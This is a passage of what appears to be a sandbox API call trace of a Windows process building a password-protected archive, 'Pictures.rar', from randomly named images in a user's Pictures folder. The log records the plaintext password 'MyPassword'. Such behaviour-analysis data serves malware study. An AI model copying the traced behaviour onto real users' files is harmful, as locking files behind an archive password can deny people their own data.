dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.901] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.901] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.901] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x24e)) [0063.901] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.901] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13924120282) returned 1 [0063.901] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x11fde, lpOverlapped=0x0) returned 1 [0063.902] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e201e, nNumberOfBytesToRead=0xee022, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36e201e*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.902] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.902] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.902] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.902] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0063.902] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2f0, Size=0x48) returned 0x26fed0 [0063.902] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.902] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0063.902] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2f0, Size=0x48) returned 0x26fe80 [0063.902] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.902] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.902] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0063.902] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0063.902] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c320 | out: hHeap=0x1b0000) returned 1 [0063.902] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c2f0 | out: hHeap=0x1b0000) returned 1 [0063.902] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2c0, Size=0x48) returned 0x26fed0 [0063.902] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x80) returned 0x203cf0 [0063.902] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.902] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0063.902] GetTickCount () returned 0xa664ed [0063.902] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13924252589) returned 1 [0063.902] GetTickCount () returned 0xa664ed [0063.902] GetTickCount () returned 0xa664ed [0063.902] GetTickCount () returned 0xa664ed [0063.902] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.902] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.902] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.902] ResetEvent (hEvent=0x1a4) returned 1 [0063.902] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.975] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.975] ResetEvent (hEvent=0x1a4) returned 1 [0063.975] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.978] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.978] ResetEvent (hEvent=0x1a4) returned 1 [0063.978] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.980] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.980] GetTickCount () returned 0xa6653b [0063.980] GetLastError () returned 0x0 [0063.980] SetLastError (dwErrCode=0x0) [0063.980] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0063.980] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0063.980] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.980] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0063.980] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13932054929) returned 1 [0063.980] GetTickCount () returned 0xa6653b [0063.980] GetTickCount () returned 0xa6653b [0063.980] GetTickCount () returned 0xa6653b [0063.980] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0063.980] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0063.980] GetFocus () returned 0x0 [0063.980] TranslateMessage (lpMsg=0x16d3d0) returned 0 [0063.980] DispatchMessageW (lpMsg=0x16d3d0) returned 0x0 [0063.980] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0063.980] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0063.980] GetFocus () returned 0x0 [0063.980] TranslateMessage (lpMsg=0x16d3d0) returned 0 [0063.980] DispatchMessageW (lpMsg=0x16d3d0) returned 0x0 [0063.980] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.980] ResetEvent (hEvent=0x190) returned 1 [0063.980] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.981] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.981] ResetEvent (hEvent=0x190) returned 1 [0063.981] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.982] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.982] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.982] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.982] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x47021d [0063.982] SetFilePointer (in: hFile=0x198, lDistanceToMove=125, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x47029a [0063.982] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.982] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.982] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.982] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.982] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x12080, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x12080, lpOverlapped=0x0) returned 1 [0063.983] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.983] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.983] SetFilePointer (in: hFile=0x198, lDistanceToMove=4653597, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x47021d [0063.984] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x47021d [0063.984] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.984] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0063.984] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2f0, Size=0x48) returned 0x26fe80 [0063.984] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.984] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0063.984] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2f0, Size=0x48) returned 0x26fed0 [0063.984] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.984] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.984] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0063.984] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0063.984] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c320 | out: hHeap=0x1b0000) returned 1 [0063.984] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c2f0 | out: hHeap=0x1b0000) returned 1 [0063.984] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2c0, Size=0x48) returned 0x26fe80 [0063.984] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x80) returned 0x203cf0 [0063.984] WriteFile (in: hFile=0x198, lpBuffer=0x203cf3*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203cf3*, lpNumberOfBytesWritten=0x167f30*=0x7d, lpOverlapped=0x0) returned 1 [0063.984] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.984] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x7d) returned 0x203d80 [0063.984] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.984] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0063.984] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x48231a [0063.984] CloseHandle (hObject=0x1b0) returned 1 [0063.984] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.984] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.984] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.984] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.984] FindFirstFileW (in: lpFileName="UrPVXySoY.jpg", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.984] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.984] CreateFileW (lpFileName="UrPVXySoY.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\urpvxysoy.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.984] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.984] GetTickCount () returned 0xa6653b [0063.984] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.985] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.985] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.985] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.985] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="zTrGUpS5uq YgUIf.png") returned 20 [0063.985] SetWindowTextW (hWnd=0x1024c, lpString="UrPVXySoY.jpg") returned 1 [0063.985] GetTickCount () returned 0xa6653b [0063.985] UpdateWindow (hWnd=0x10244) returned 1 [0063.985] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.985] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.985] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.985] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.985] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x29c)) [0063.985] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.985] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13932579592) returned 1 [0063.985] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x100000, lpOverlapped=0x0) returned 1 [0063.991] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 1 [0063.991] GetMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d400) returned 1 [0063.991] GetFocus () returned 0x0 [0063.991] TranslateMessage (lpMsg=0x16d400) returned 0 [0063.991] DispatchMessageW (lpMsg=0x16d400) returned 0x0 [0063.991] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.991] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0063.991] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0063.991] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c320, Size=0x48) returned 0x26fed0 [0063.991] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.991] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0063.991] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c320, Size=0x48) returned 0x26fe80 [0063.991] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.991] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.991] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0063.991] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0063.991] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0063.991] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c320 | out: hHeap=0x1b0000) returned 1 [0063.991] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2f0, Size=0x48) returned 0x26fed0 [0063.991] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203cf0 [0063.991] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.992] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0063.994] ReadFile (in: hFile=0x1b0, lpBuffer=0x7e20040, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x16d4b0, lpOverlapped=0x0 | out: lpBuffer=0x7e20040*, lpNumberOfBytesRead=0x16d4b0*=0x300000, lpOverlapped=0x0) returned 1 [0064.122] GetTickCount () returned 0xa665c7 [0064.122] GetLastError () returned 0x0 [0064.122] SetLastError (dwErrCode=0x0) [0064.122] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0064.122] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0064.122] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16bb20, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0064.122] SetWindowTextW (hWnd=0x1024e, lpString=" 86%") returned 1 [0064.123] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x56, lParam=0x0) returned 0x64 [0064.123] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13946325660) returned 1 [0064.123] GetTickCount () returned 0xa665c7 [0064.123] GetTickCount () returned 0xa665c7 [0064.123] GetTickCount () returned 0xa665c7 [0064.123] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf58 | out: ppv=0x16cf58*=0x3b8c2f0) returned 0x0 [0064.123] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b8c2f0, hwnd=0x10244, tbpFlags=2) returned 0x0 [0064.123] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b8c2f0, hwnd=0x10244, ullCompleted=0x89a6e7, ullTotal=0x940593) returned 0x0 [0064.123] TaskbarList:IUnknown:Release (This=0x3b8c2f0) returned 0x0 [0064.123] GetLastError () returned 0x36b7 [0064.123] SetLastError (dwErrCode=0x36b7) [0064.124] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0064.124] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0064.124] GetWindowTextW (in: hWnd=0x10264, lpString=0x16bb20, nMaxCount=2560 | out: lpString=" 48%") returned 5 [0064.124] SetWindowTextW (hWnd=0x10264, lpString=" 92%") returned 1 [0064.124] GetLastError () returned 0x0 [0064.124] SetLastError (dwErrCode=0x0) [0064.124] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0064.124] GetWindowTextW (in: hWnd=0x10260, lpString=0x16bb20, nMaxCount=2560 | out: lpString=" 97%") returned 5 [0064.124] SetWindowTextW (hWnd=0x10260, lpString=" 52%") returned 1 [0064.124] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x5c, lParam=0x0) returned 0x30 [0064.124] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 1 [0064.125] GetMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d400) returned 1 [0064.125] GetFocus () returned 0x0 [0064.125] TranslateMessage (lpMsg=0x16d400) returned 0 [0064.125] DispatchMessageW (lpMsg=0x16d400) returned 0x0 [0064.125] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0064.125] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.125] ResetEvent (hEvent=0x1a4) returned 1 [0064.125] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.130] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.130] ResetEvent (hEvent=0x1a4) returned 1 [0064.130] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.133] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.133] ResetEvent (hEvent=0x1a4) returned 1 [0064.133] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.137] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.137] ResetEvent (hEvent=0x1a4) returned 1 [0064.137] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.140] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.140] ResetEvent (hEvent=0x1a4) returned 1 [0064.140] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.144] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.144] ResetEvent (hEvent=0x1a4) returned 1 [0064.144] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.148] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.148] ResetEvent (hEvent=0x1a4) returned 1 [0064.148] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.151] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.151] ResetEvent (hEvent=0x1a4) returned 1 [0064.151] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.155] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.155] ResetEvent (hEvent=0x1a4) returned 1 [0064.155] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.158] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.158] ResetEvent (hEvent=0x1a4) returned 1 [0064.158] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.162] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.162] ResetEvent (hEvent=0x1a4) returned 1 [0064.162] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.165] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.165] ResetEvent (hEvent=0x1a4) returned 1 [0064.165] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.169] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.169] ResetEvent (hEvent=0x1a4) returned 1 [0064.169] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.172] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.172] ResetEvent (hEvent=0x1a4) returned 1 [0064.172] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.175] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.176] ResetEvent (hEvent=0x1a4) returned 1 [0064.176] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.179] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.179] ResetEvent (hEvent=0x1a4) returned 1 [0064.179] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.183] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.183] ResetEvent (hEvent=0x1a4) returned 1 [0064.183] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.271] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.591] ResetEvent (hEvent=0x1a4) returned 1 [0064.591] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.591] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.609] ResetEvent (hEvent=0x190) returned 1 [0064.609] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.609] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.610] ResetEvent (hEvent=0x190) returned 1 [0064.610] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.610] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.611] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, 